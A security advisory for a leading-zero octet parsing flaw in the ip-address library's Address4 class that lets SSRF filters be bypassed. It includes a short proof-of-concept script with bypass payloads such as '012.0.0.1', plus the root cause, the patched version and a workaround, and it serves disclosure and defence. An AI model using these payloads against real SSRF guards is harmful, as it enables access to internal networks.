CVE-2026-69192: ip-address Address4 Leading-Zero Octet SSRF Bypass
The ip-address library accepts IPv4 octets with a leading zero and reads them as decimal, while every real resolver reads them as octal, so an SSRF filter built on Address4 can be tricked into…

The problem
Address4 parses octets using parseInt(part, 10), so '012' becomes 12. The WHATWG URL parser, inet_aton, and getaddrinfo all treat a leading zero as base-8, so the same string resolves to 10.
Every trust-boundary method inherits the bad decode: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), and correctForm() all operate on the wrong numeric value. An SSRF guard that calls new Address4(host).isPrivate() will pass '012.0.0.1' as public while fetch() connects to 10.0.0.1.
Proof of concept
A working proof-of-concept for CVE-2026-69192 in ip-address, with the exact payload below.
const { Address4 } = require('ip-address');
// Guard of the shape the library documents.
function isBlocked(host) {
return Address4.isValid(host) && new Address4(host).isPrivate();
}
for (const h of ['10.0.0.1', '012.0.0.1', '012.012.012.012']) {
console.log(
isBlocked(h) ? 'BLOCK' : 'ALLOW', h,
'-> resolver reaches', new URL('http://' + h + '/').hostname
);
}
// Output on <= 10.3.0:
// BLOCK 10.0.0.1 -> resolver reaches 10.0.0.1
// ALLOW 012.0.0.1 -> resolver reaches 10.0.0.1 <-- SSRF
// ALLOW 012.012.012.012 -> resolver reaches 10.10.10.10 <-- SSRFThe defect is in the parse gate, not in any one classifier. The RE_ADDRESS regex in src/v4/constants.ts uses the branch [01]?[0-9][0-9]?, which allows a leading zero, and parseInt(part, 10) then decodes that octet as decimal. The library and the network stack disagree about the host the string names.
Address6 already rejects this notation on its IPv4-in-IPv6 path with 'IPv4 addresses cannot have leading zeroes' (src/ipv6.ts:751-762). The fix brings Address4 in line: RE_ADDRESS is tightened to exclude the zero-prefixed form, and parse throws AddressError on any octet matching /^0\d/.
After patching, Address4.isValid('012.0.0.1') returns false.
Root cause is CWE-20 (Improper Input Validation) enabling CWE-918 (SSRF). The leading-zero address is a legal URL host, so the attack rides the same code path as any user-supplied URL with no unusual application shape required.
The fix
Upgrade ip-address to 10.3.1. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError, so no classifier can be called on the ambiguous input. If you cannot upgrade immediately, reject any host whose octets carry a leading zero before parsing: host.split('.').some((o) => /^0\d/.test(o)) should cause your code to refuse the input.
Note that these classifiers are not a complete SSRF defense regardless of version. Resolve the hostname and validate the resolved IP at connection time to cover DNS rebinding and redirects.
Related research
- critical · 9.6CVE-2026-53513CVE-2026-53513: @better-auth/sso SSRF via Unvalidated OIDC Endpoints
- highCVE-2026-54729CVE-2026-54729: dssrf SSRF Bypass via DNS NXDOMAIN on 1.1.1.1
- high · 7.4CVE-2026-54660CVE-2026-54660: swagger-typescript-api Authorization Token Exfiltration via Cross-Origin $ref
- high · 8.5Budibase REST Datasource SSRF via DNS Rebinding (undici dispatcher bypasses IP pin)